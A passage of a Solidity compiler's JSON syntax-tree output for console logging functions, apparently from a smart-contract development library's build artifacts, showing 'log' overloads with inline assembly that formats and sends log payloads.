:"log","nameLocation":"365303:3:22","parameters":{"id":45621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45614,"mutability":"mutable","name":"p0","nameLocation":"365315:2:22","nodeType":"VariableDeclaration","scope":45658,"src":"365307:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45613,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365307:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45616,"mutability":"mutable","name":"p1","nameLocation":"365327:2:22","nodeType":"VariableDeclaration","scope":45658,"src":"365319:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45615,"name":"uint256","nodeType":"ElementaryTypeName","src":"365319:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45618,"mutability":"mutable","name":"p2","nameLocation":"365339:2:22","nodeType":"VariableDeclaration","scope":45658,"src":"365331:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45617,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365331:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45620,"mutability":"mutable","name":"p3","nameLocation":"365351:2:22","nodeType":"VariableDeclaration","scope":45658,"src":"365343:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45619,"name":"address","nodeType":"ElementaryTypeName","src":"365343:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"365306:48:22"},"returnParameters":{"id":45622,"nodeType":"ParameterList","parameters":[],"src":"365369:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45704,"nodeType":"FunctionDefinition","src":"366836:1530:22","nodes":[],"body":{"id":45703,"nodeType":"Block","src":"366908:1458:22","nodes":[],"statements":[{"assignments":[45670],"declarations":[{"constant":false,"id":45670,"mutability":"mutable","name":"m0","nameLocation":"366926:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"366918:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45669,"name":"bytes32","nodeType":"ElementaryTypeName","src":"366918:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45671,"nodeType":"VariableDeclarationStatement","src":"366918:10:22"},{"assignments":[45673],"declarations":[{"constant":false,"id":45673,"mutability":"mutable","name":"m1","nameLocation":"366946:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"366938:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45672,"name":"bytes32","nodeType":"ElementaryTypeName","src":"366938:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45674,"nodeType":"VariableDeclarationStatement","src":"366938:10:22"},{"assignments":[45676],"declarations":[{"constant":false,"id":45676,"mutability":"mutable","name":"m2","nameLocation":"366966:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"366958:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45675,"name":"bytes32","nodeType":"ElementaryTypeName","src":"366958:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45677,"nodeType":"VariableDeclarationStatement","src":"366958:10:22"},{"assignments":[45679],"declarations":[{"constant":false,"id":45679,"mutability":"mutable","name":"m3","nameLocation":"366986:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"366978:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45678,"name":"bytes32","nodeType":"ElementaryTypeName","src":"366978:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45680,"nodeType":"VariableDeclarationStatement","src":"366978:10:22"},{"assignments":[45682],"declarations":[{"constant":false,"id":45682,"mutability":"mutable","name":"m4","nameLocation":"367006:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"366998:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45681,"name":"bytes32","nodeType":"ElementaryTypeName","src":"366998:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45683,"nodeType":"VariableDeclarationStatement","src":"366998:10:22"},{"assignments":[45685],"declarations":[{"constant":false,"id":45685,"mutability":"mutable","name":"m5","nameLocation":"367026:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"367018:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45684,"name":"bytes32","nodeType":"ElementaryTypeName","src":"367018:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45686,"nodeType":"VariableDeclarationStatement","src":"367018:10:22"},{"assignments":[45688],"declarations":[{"constant":false,"id":45688,"mutability":"mutable","name":"m6","nameLocation":"367046:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"367038:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45687,"name":"bytes32","nodeType":"ElementaryTypeName","src":"367038:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45689,"nodeType":"VariableDeclarationStatement","src":"367038:10:22"},{"assignments":[45691],"declarations":[{"constant":false,"id":45691,"mutability":"mutable","name":"m7","nameLocation":"367066:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"367058:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45690,"name":"bytes32","nodeType":"ElementaryTypeName","src":"367058:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45692,"nodeType":"VariableDeclarationStatement","src":"367058:10:22"},{"assignments":[45694],"declarations":[{"constant":false,"id":45694,"mutability":"mutable","name":"m8","nameLocation":"367086:2:22","nodeType":"VariableDeclaration","scope":45703,"src":"367078:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45693,"name":"bytes32","nodeType":"ElementaryTypeName","src":"367078:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45695,"nodeType":"VariableDeclarationStatement","src":"367078:10:22"},{"AST":{"nativeSrc":"367107:924:22","nodeType":"YulBlock","src":"367107:924:22","statements":[{"body":{"nativeSrc":"367150:313:22","nodeType":"YulBlock","src":"367150:313:22","statements":[{"nativeSrc":"367168:15:22","nodeType":"YulVariableDeclaration","src":"367168:15:22","value":{"kind":"number","nativeSrc":"367182:1:22","nodeType":"YulLiteral","src":"367182:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"367172:6:22","nodeType":"YulTypedName","src":"367172:6:22","type":""}]},{"body":{"nativeSrc":"367253:40:22","nodeType":"YulBlock","src":"367253:40:22","statements":[{"body":{"nativeSrc":"367282:9:22","nodeType":"YulBlock","src":"367282:9:22","statements":[{"nativeSrc":"367284:5:22","nodeType":"YulBreak","src":"367284:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"367270:6:22","nodeType":"YulIdentifier","src":"367270:6:22"},{"name":"w","nativeSrc":"367278:1:22","nodeType":"YulIdentifier","src":"367278:1:22"}],"functionName":{"name":"byte","nativeSrc":"367265:4:22","nodeType":"YulIdentifier","src":"367265:4:22"},"nativeSrc":"367265:15:22","nodeType":"YulFunctionCall","src":"367265:15:22"}],"functionName":{"name":"iszero","nativeSrc":"367258:6:22","nodeType":"YulIdentifier","src":"367258:6:22"},"nativeSrc":"367258:23:22","nodeType":"YulFunctionCall","src":"367258:23:22"},"nativeSrc":"367255:36:22","nodeType":"YulIf","src":"367255:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"367210:6:22","nodeType":"YulIdentifier","src":"367210:6:22"},{"kind":"number","nativeSrc":"367218:4:22","nodeType":"YulLiteral","src":"367218:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"367207:2:22","nodeType":"YulIdentifier","src":"367207:2:22"},"nativeSrc":"367207:16:22","nodeType":"YulFunctionCall","src":"367207:16:22"},"nativeSrc":"367200:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"367224:28:22","nodeType":"YulBlock","src":"367224:28:22","statements":[{"nativeSrc":"367226:24:22","nodeType":"YulAssignment","src":"367226:24:22","value":{"arguments":[{"name":"length","nativeSrc":"367240:6:22","nodeType":"YulIdentifier","src":"367240:6:22"},{"kind":"number","nativeSrc":"367248:1:22","nodeType":"YulLiteral","src":"367248:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"367236:3:22","nodeType":"YulIdentifier","src":"367236:3:22"},"nativeSrc":"367236:14:22","nodeType":"YulFunctionCall","src":"367236:14:22"},"variableNames":[{"name":"length","nativeSrc":"367226:6:22","nodeType":"YulIdentifier","src":"367226:6:22"}]}]},"pre":{"nativeSrc":"367204:2:22","nodeType":"YulBlock","src":"367204:2:22","statements":[]},"src":"367200:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"367317:3:22","nodeType":"YulIdentifier","src":"367317:3:22"},{"name":"length","nativeSrc":"367322:6:22","nodeType":"YulIdentifier","src":"367322:6:22"}],"functionName":{"name":"mstore","nativeSrc":"367310:6:22","nodeType":"YulIdentifier","src":"367310:6:22"},"nativeSrc":"367310:19:22","nodeType":"YulFunctionCall","src":"367310:19:22"},"nativeSrc":"367310:19:22","nodeType":"YulExpressionStatement","src":"367310:19:22"},{"nativeSrc":"367346:37:22","nodeType":"YulVariableDeclaration","src":"367346:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"367363:3:22","nodeType":"YulLiteral","src":"367363:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"367372:1:22","nodeType":"YulLiteral","src":"367372:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"367375:6:22","nodeType":"YulIdentifier","src":"367375:6:22"}],"functionName":{"name":"shl","nativeSrc":"367368:3:22","nodeType":"YulIdentifier","src":"367368:3:22"},"nativeSrc":"367368:14:22","nodeType":"YulFunctionCall","src":"367368:14:22"}],"functionName":{"name":"sub","nativeSrc":"367359:3:22","nodeType":"YulIdentifier","src":"367359:3:22"},"nativeSrc":"367359:24:22","nodeType":"YulFunctionCall","src":"367359:24:22"},"variables":[{"name":"shift","nativeSrc":"367350:5:22","nodeType":"YulTypedName","src":"367350:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"367411:3:22","nodeType":"YulIdentifier","src":"367411:3:22"},{"kind":"number","nativeSrc":"367416:4:22","nodeType":"YulLiteral","src":"367416:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"367407:3:22","nodeType":"YulIdentifier","src":"367407:3:22"},"nativeSrc":"367407:14:22","nodeType":"YulFunctionCall","src":"367407:14:22"},{"arguments":[{"name":"shift","nativeSrc":"367427:5:22","nodeType":"YulIdentifier","src":"367427:5:22"},{"arguments":[{"name":"shift","nativeSrc":"367438:5:22","nodeType":"YulIdentifier","src":"367438:5:22"},{"name":"w","nativeSrc":"367445:1:22","nodeType":"YulIdentifier","src":"367445:1:22"}],"functionName":{"name":"shr","nativeSrc":"367434:3:22","nodeType":"YulIdentifier","src":"367434:3:22"},"nativeSrc":"367434:13:22","nodeType":"YulFunctionCall","src":"367434:13:22"}],"functionName":{"name":"shl","nativeSrc":"367423:3:22","nodeType":"YulIdentifier","src":"367423:3:22"},"nativeSrc":"367423:25:22","nodeType":"YulFunctionCall","src":"367423:25:22"}],"functionName":{"name":"mstore","nativeSrc":"367400:6:22","nodeType":"YulIdentifier","src":"367400:6:22"},"nativeSrc":"367400:49:22","nodeType":"YulFunctionCall","src":"367400:49:22"},"nativeSrc":"367400:49:22","nodeType":"YulExpressionStatement","src":"367400:49:22"}]},"name":"writeString","nativeSrc":"367121:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"367142:3:22","nodeType":"YulTypedName","src":"367142:3:22","type":""},{"name":"w","nativeSrc":"367147:1:22","nodeType":"YulTypedName","src":"367147:1:22","type":""}],"src":"367121:342:22"},{"nativeSrc":"367476:17:22","nodeType":"YulAssignment","src":"367476:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367488:4:22","nodeType":"YulLiteral","src":"367488:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"367482:5:22","nodeType":"YulIdentifier","src":"367482:5:22"},"nativeSrc":"367482:11:22","nodeType":"YulFunctionCall","src":"367482:11:22"},"variableNames":[{"name":"m0","nativeSrc":"367476:2:22","nodeType":"YulIdentifier","src":"367476:2:22"}]},{"nativeSrc":"367506:17:22","nodeType":"YulAssignment","src":"367506:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367518:4:22","nodeType":"YulLiteral","src":"367518:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"367512:5:22","nodeType":"YulIdentifier","src":"367512:5:22"},"nativeSrc":"367512:11:22","nodeType":"YulFunctionCall","src":"367512:11:22"},"variableNames":[{"name":"m1","nativeSrc":"367506:2:22","nodeType":"YulIdentifier","src":"367506:2:22"}]},{"nativeSrc":"367536:17:22","nodeType":"YulAssignment","src":"367536:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367548:4:22","nodeType":"YulLiteral","src":"367548:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"367542:5:22","nodeType":"YulIdentifier","src":"367542:5:22"},"nativeSrc":"367542:11:22","nodeType":"YulFunctionCall","src":"367542:11:22"},"variableNames":[{"name":"m2","nativeSrc":"367536:2:22","nodeType":"YulIdentifier","src":"367536:2:22"}]},{"nativeSrc":"367566:17:22","nodeType":"YulAssignment","src":"367566:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367578:4:22","nodeType":"YulLiteral","src":"367578:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"367572:5:22","nodeType":"YulIdentifier","src":"367572:5:22"},"nativeSrc":"367572:11:22","nodeType":"YulFunctionCall","src":"367572:11:22"},"variableNames":[{"name":"m3","nativeSrc":"367566:2:22","nodeType":"YulIdentifier","src":"367566:2:22"}]},{"nativeSrc":"367596:17:22","nodeType":"YulAssignment","src":"367596:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367608:4:22","nodeType":"YulLiteral","src":"367608:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"367602:5:22","nodeType":"YulIdentifier","src":"367602:5:22"},"nativeSrc":"367602:11:22","nodeType":"YulFunctionCall","src":"367602:11:22"},"variableNames":[{"name":"m4","nativeSrc":"367596:2:22","nodeType":"YulIdentifier","src":"367596:2:22"}]},{"nativeSrc":"367626:17:22","nodeType":"YulAssignment","src":"367626:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367638:4:22","nodeType":"YulLiteral","src":"367638:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"367632:5:22","nodeType":"YulIdentifier","src":"367632:5:22"},"nativeSrc":"367632:11:22","nodeType":"YulFunctionCall","src":"367632:11:22"},"variableNames":[{"name":"m5","nativeSrc":"367626:2:22","nodeType":"YulIdentifier","src":"367626:2:22"}]},{"nativeSrc":"367656:17:22","nodeType":"YulAssignment","src":"367656:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367668:4:22","nodeType":"YulLiteral","src":"367668:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"367662:5:22","nodeType":"YulIdentifier","src":"367662:5:22"},"nativeSrc":"367662:11:22","nodeType":"YulFunctionCall","src":"367662:11:22"},"variableNames":[{"name":"m6","nativeSrc":"367656:2:22","nodeType":"YulIdentifier","src":"367656:2:22"}]},{"nativeSrc":"367686:17:22","nodeType":"YulAssignment","src":"367686:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"367698:4:22","nodeType":"YulLiteral","src":"367698:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"367692:5:22","nodeType":"YulIdentifier","src":"367692:5:22"},"nativeSrc":"367692:11:22","nodeType":"YulFunctionCall","src":"367692:11:22"},"variableNames":[{"name":"m7","nativeSrc":"367686:2:22","nodeType":"YulIdentifier","src":"367686:2:22"}]},{"nativeSrc":"367716:18:22","nodeType":"YulAssignment","src":"367716:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"367728:5:22","nodeType":"YulLiteral","src":"367728:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"367722:5:22","nodeType":"YulIdentifier","src":"367722:5:22"},"nativeSrc":"367722:12:22","nodeType":"YulFunctionCall","src":"367722:12:22"},"variableNames":[{"name":"m8","nativeSrc":"367716:2:22","nodeType":"YulIdentifier","src":"367716:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"367816:4:22","nodeType":"YulLiteral","src":"367816:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"367822:10:22","nodeType":"YulLiteral","src":"367822:10:22","type":"","value":"0x7d24491d"}],"functionName":{"name":"mstore","nativeSrc":"367809:6:22","nodeType":"YulIdentifier","src":"367809:6:22"},"nativeSrc":"367809:24:22","nodeType":"YulFunctionCall","src":"367809:24:22"},"nativeSrc":"367809:24:22","nodeType":"YulExpressionStatement","src":"367809:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"367853:4:22","nodeType":"YulLiteral","src":"367853:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"367859:4:22","nodeType":"YulLiteral","src":"367859:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"367846:6:22","nodeType":"YulIdentifier","src":"367846:6:22"},"nativeSrc":"367846:18:22","nodeType":"YulFunctionCall","src":"367846:18:22"},"nativeSrc":"367846:18:22","nodeType":"YulExpressionStatement","src":"367846:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"367884:4:22","nodeType":"YulLiteral","src":"367884:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"367890:2:22","nodeType":"YulIdentifier","src":"367890:2:22"}],"functionName":{"name":"mstore","nativeSrc":"367877:6:22","nodeType":"YulIdentifier","src":"367877:6:22"},"nativeSrc":"367877:16:22","nodeType":"YulFunctionCall","src":"367877:16:22"},"nativeSrc":"367877:16:22","nodeType":"YulExpressionStatement","src":"367877:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"367913:4:22","nodeType":"YulLiteral","src":"367913:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"367919:4:22","nodeType":"YulLiteral","src":"367919:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"367906:6:22","nodeType":"YulIdentifier","src":"367906:6:22"},"nativeSrc":"367906:18:22","nodeType":"YulFunctionCall","src":"367906:18:22"},"nativeSrc":"367906:18:22","nodeType":"YulExpressionStatement","src":"367906:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"367944:4:22","nodeType":"YulLiteral","src":"367944:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"367950:2:22","nodeType":"YulIdentifier","src":"367950:2:22"}],"functionName":{"name":"mstore","nativeSrc":"367937:6:22","nodeType":"YulIdentifier","src":"367937:6:22"},"nativeSrc":"367937:16:22","nodeType":"YulFunctionCall","src":"367937:16:22"},"nativeSrc":"367937:16:22","nodeType":"YulExpressionStatement","src":"367937:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"367978:4:22","nodeType":"YulLiteral","src":"367978:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"367984:2:22","nodeType":"YulIdentifier","src":"367984:2:22"}],"functionName":{"name":"writeString","nativeSrc":"367966:11:22","nodeType":"YulIdentifier","src":"367966:11:22"},"nativeSrc":"367966:21:22","nodeType":"YulFunctionCall","src":"367966:21:22"},"nativeSrc":"367966:21:22","nodeType":"YulExpressionStatement","src":"367966:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368012:4:22","nodeType":"YulLiteral","src":"368012:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"368018:2:22","nodeType":"YulIdentifier","src":"368018:2:22"}],"functionName":{"name":"writeString","nativeSrc":"368000:11:22","nodeType":"YulIdentifier","src":"368000:11:22"},"nativeSrc":"368000:21:22","nodeType":"YulFunctionCall","src":"368000:21:22"},"nativeSrc":"368000:21:22","nodeType":"YulExpressionStatement","src":"368000:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45670,"isOffset":false,"isSlot":false,"src":"367476:2:22","valueSize":1},{"declaration":45673,"isOffset":false,"isSlot":false,"src":"367506:2:22","valueSize":1},{"declaration":45676,"isOffset":false,"isSlot":false,"src":"367536:2:22","valueSize":1},{"declaration":45679,"isOffset":false,"isSlot":false,"src":"367566:2:22","valueSize":1},{"declaration":45682,"isOffset":false,"isSlot":false,"src":"367596:2:22","valueSize":1},{"declaration":45685,"isOffset":false,"isSlot":false,"src":"367626:2:22","valueSize":1},{"declaration":45688,"isOffset":false,"isSlot":false,"src":"367656:2:22","valueSize":1},{"declaration":45691,"isOffset":false,"isSlot":false,"src":"367686:2:22","valueSize":1},{"declaration":45694,"isOffset":false,"isSlot":false,"src":"367716:2:22","valueSize":1},{"declaration":45660,"isOffset":false,"isSlot":false,"src":"367984:2:22","valueSize":1},{"declaration":45662,"isOffset":false,"isSlot":false,"src":"367890:2:22","valueSize":1},{"declaration":45664,"isOffset":false,"isSlot":false,"src":"368018:2:22","valueSize":1},{"declaration":45666,"isOffset":false,"isSlot":false,"src":"367950:2:22","valueSize":1}],"id":45696,"nodeType":"InlineAssembly","src":"367098:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"368056:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"368062:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45697,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"368040:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45700,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"368040:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45701,"nodeType":"ExpressionStatement","src":"368040:28:22"},{"AST":{"nativeSrc":"368087:273:22","nodeType":"YulBlock","src":"368087:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"368108:4:22","nodeType":"YulLiteral","src":"368108:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"368114:2:22","nodeType":"YulIdentifier","src":"368114:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368101:6:22","nodeType":"YulIdentifier","src":"368101:6:22"},"nativeSrc":"368101:16:22","nodeType":"YulFunctionCall","src":"368101:16:22"},"nativeSrc":"368101:16:22","nodeType":"YulExpressionStatement","src":"368101:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368137:4:22","nodeType":"YulLiteral","src":"368137:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"368143:2:22","nodeType":"YulIdentifier","src":"368143:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368130:6:22","nodeType":"YulIdentifier","src":"368130:6:22"},"nativeSrc":"368130:16:22","nodeType":"YulFunctionCall","src":"368130:16:22"},"nativeSrc":"368130:16:22","nodeType":"YulExpressionStatement","src":"368130:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368166:4:22","nodeType":"YulLiteral","src":"368166:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"368172:2:22","nodeType":"YulIdentifier","src":"368172:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368159:6:22","nodeType":"YulIdentifier","src":"368159:6:22"},"nativeSrc":"368159:16:22","nodeType":"YulFunctionCall","src":"368159:16:22"},"nativeSrc":"368159:16:22","nodeType":"YulExpressionStatement","src":"368159:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368195:4:22","nodeType":"YulLiteral","src":"368195:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"368201:2:22","nodeType":"YulIdentifier","src":"368201:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368188:6:22","nodeType":"YulIdentifier","src":"368188:6:22"},"nativeSrc":"368188:16:22","nodeType":"YulFunctionCall","src":"368188:16:22"},"nativeSrc":"368188:16:22","nodeType":"YulExpressionStatement","src":"368188:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368224:4:22","nodeType":"YulLiteral","src":"368224:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"368230:2:22","nodeType":"YulIdentifier","src":"368230:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368217:6:22","nodeType":"YulIdentifier","src":"368217:6:22"},"nativeSrc":"368217:16:22","nodeType":"YulFunctionCall","src":"368217:16:22"},"nativeSrc":"368217:16:22","nodeType":"YulExpressionStatement","src":"368217:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368253:4:22","nodeType":"YulLiteral","src":"368253:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"368259:2:22","nodeType":"YulIdentifier","src":"368259:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368246:6:22","nodeType":"YulIdentifier","src":"368246:6:22"},"nativeSrc":"368246:16:22","nodeType":"YulFunctionCall","src":"368246:16:22"},"nativeSrc":"368246:16:22","nodeType":"YulExpressionStatement","src":"368246:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368282:4:22","nodeType":"YulLiteral","src":"368282:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"368288:2:22","nodeType":"YulIdentifier","src":"368288:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368275:6:22","nodeType":"YulIdentifier","src":"368275:6:22"},"nativeSrc":"368275:16:22","nodeType":"YulFunctionCall","src":"368275:16:22"},"nativeSrc":"368275:16:22","nodeType":"YulExpressionStatement","src":"368275:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368311:4:22","nodeType":"YulLiteral","src":"368311:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"368317:2:22","nodeType":"YulIdentifier","src":"368317:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368304:6:22","nodeType":"YulIdentifier","src":"368304:6:22"},"nativeSrc":"368304:16:22","nodeType":"YulFunctionCall","src":"368304:16:22"},"nativeSrc":"368304:16:22","nodeType":"YulExpressionStatement","src":"368304:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"368340:5:22","nodeType":"YulLiteral","src":"368340:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"368347:2:22","nodeType":"YulIdentifier","src":"368347:2:22"}],"functionName":{"name":"mstore","nativeSrc":"368333:6:22","nodeType":"YulIdentifier","src":"368333:6:22"},"nativeSrc":"368333:17:22","nodeType":"YulFunctionCall","src":"368333:17:22"},"nativeSrc":"368333:17:22","nodeType":"YulExpressionStatement","src":"368333:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45670,"isOffset":false,"isSlot":false,"src":"368114:2:22","valueSize":1},{"declaration":45673,"isOffset":false,"isSlot":false,"src":"368143:2:22","valueSize":1},{"declaration":45676,"isOffset":false,"isSlot":false,"src":"368172:2:22","valueSize":1},{"declaration":45679,"isOffset":false,"isSlot":false,"src":"368201:2:22","valueSize":1},{"declaration":45682,"isOffset":false,"isSlot":false,"src":"368230:2:22","valueSize":1},{"declaration":45685,"isOffset":false,"isSlot":false,"src":"368259:2:22","valueSize":1},{"declaration":45688,"isOffset":false,"isSlot":false,"src":"368288:2:22","valueSize":1},{"declaration":45691,"isOffset":false,"isSlot":false,"src":"368317:2:22","valueSize":1},{"declaration":45694,"isOffset":false,"isSlot":false,"src":"368347:2:22","valueSize":1}],"id":45702,"nodeType":"InlineAssembly","src":"368078:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"366845:3:22","parameters":{"id":45667,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45660,"mutability":"mutable","name":"p0","nameLocation":"366857:2:22","nodeType":"VariableDeclaration","scope":45704,"src":"366849